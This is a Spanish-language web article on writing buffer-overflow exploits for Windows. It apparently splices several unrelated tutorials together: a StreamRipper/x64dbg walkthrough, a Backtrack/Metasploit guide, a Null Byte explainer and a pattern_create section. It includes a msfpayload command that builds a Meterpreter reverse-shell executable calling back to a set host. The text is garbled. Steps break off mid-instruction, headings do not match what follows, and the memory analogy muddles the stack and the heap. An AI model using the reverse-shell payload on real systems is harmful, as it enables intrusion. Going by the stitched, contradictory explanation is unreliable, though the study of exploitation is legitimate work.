Crear un exploit

Crear un exploit

Comentarios

En este artículo vamos a cubrir la creación de un exploit para una aplicación de Windows de 32 bits vulnerable a un desbordamiento de búfer utilizando X64dbg y el plugin ERC asociado. Como este es el primer artículo de esta serie, vamos a ver un exploit donde tenemos una sobreescritura completa de EIP y ESP apunta directamente a nuestro buffer. Un conocimiento básico de ensamblaje y del sistema operativo Windows será útil, sin embargo, no es un requisito.
Esta guía fue escrita para ejecutarse en una instalación fresca de Windows 7 (ya sea de 32 o 64 bits debería estar bien) y, como tal, usted debe seguir a lo largo de dentro de una máquina virtual de Windows 7. Una máquina virtual Kali también será útil para la generación de la carga útil utilizando MSFVenom.
Por último, necesitaremos una copia de la aplicación vulnerable (StreamRipper 2.6) que se puede encontrar aquí.Con el fin de confirmar que todo está funcionando, inicie X64dbg, Archivo –> Abrir –> Navegue hasta donde instaló StreamRipper y seleccione el ejecutable. Haga clic en los puntos de interrupción y la interfaz debería aparecer. Ahora en el terminal de X64dbg escriba:

Qué es la escritura del exploit

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.8.91 X > Desktop/v4L.exe El comando anterior creará un archivo ejecutable de Windows con el nombre “v4L.exe” y se guardará en su escritorio. 2. Ahora necesitas copiar tu recién creado v4L.exe a tu sistema Windows 7. Si usted no sabe cómo compartir su carpeta de Backtrack 5, puede videw el tutorial de cómo compartir la carpeta en su Backtrack (ver tutorial aquí). 3. El siguiente paso que necesitamos para crear un controlador para manejar la conexión que llegó a nuestro sistema Backtrack de simple exploit que ya hemos creado antes. Abra su consola Metasploit, ver la imagen y escriba el siguiente comando : Información :

Escribir exploits en python pdf

Desbordamientos de búferEn muchos de mis numerosos hacks aquí en Null Byte, hemos sido capaces de conseguir un shell de comandos o meterpreter en un equipo remoto. En la jerga de la industria, esto se conoce como “ejecución remota de código arbitrario”. Lo que ocurre en todos estos casos se conoce mejor como “desbordamiento de búfer”, que es una condición en la que una variable se llena de datos y se ejecuta código “arbitrario” (es decir, del hacker). Este código puede ser cualquier cosa, pero lo ideal es que sea un shell de comandos o un terminal para que el hacker tenga el control del sistema víctima. Los desbordamientos de búfer son, de lejos, las vulnerabilidades más peligrosas y destructivas dentro de cualquier aplicación o sistema operativo. En su forma más simple, un desbordamiento de búfer es simplemente una variable que no comprueba que se le envíen demasiados datos (comprobación de límites) y cuando se envían demasiados datos, el atacante puede enviar y ejecutar cualquier código malicioso que quiera en ese espacio de direcciones.
Conceptos básicos sobre la memoriaPara entender los desbordamientos de búfer y la terminología que utiliza la industria, es necesario entender un poco sobre la memoria. Utilicemos una analogía sencilla.Imaginemos que nuestra memoria es como una gran carpeta de tres anillas. Del tipo que llevamos a la escuela o al trabajo. Cuando un nuevo programa se ejecuta, comienza a llenar las páginas de esta carpeta de tres anillos con los datos (pila) que necesita, llenándola desde arriba hacia abajo. Cuando el programa comienza su ejecución, necesita datos temporales que utiliza y descarta rápidamente. Entonces llena la carpeta con estos datos desde abajo hacia arriba (pila). La zona de memoria que se encuentra justo después del programa se llama “pila” y la zona de memoria que se encuentra al final se llama “montón”. Si el libro es lo suficientemente grande, estas dos áreas nunca colisionarán.

Pattern_create.rb no funciona

Anteriormente vimos Fuzzing un servidor IMAP en la sección Simple IMAP Fuzzer. Al final de ese esfuerzo encontramos que podíamos sobrescribir EIP, haciendo que ESP sea el único registro que apunte a una ubicación de memoria bajo nuestro control (4 bytes después de nuestra dirección de retorno). Podemos seguir adelante y reconstruir nuestro buffer (fuzzed = “A “*1004 + “B “*4 + “C “*4) para confirmar que el flujo de ejecución es redireccionable a través de una dirección JMP ESP como ret.
Ahora necesitamos determinar el offset correcto para conseguir la ejecución del código. Afortunadamente, Metasploit viene al rescate con dos utilidades muy útiles: pattern_create.rb y pattern_offset.rb. Ambos scripts se encuentran en el directorio de herramientas de Metasploit. Ejecutando pattern_create.rb, el script generará una cadena compuesta por patrones únicos que podemos utilizar para reemplazar nuestra secuencia de ‘A’.
Después de que hayamos sobrescrito con éxito EIP o SEH (o cualquier otro registro al que se dirija), debemos tomar nota del valor contenido en el registro y alimentar este valor a pattern_offset.rb para determinar en qué punto de la cadena aleatoria aparece el valor.

Acerca del autor

admin

Ver todos los artículos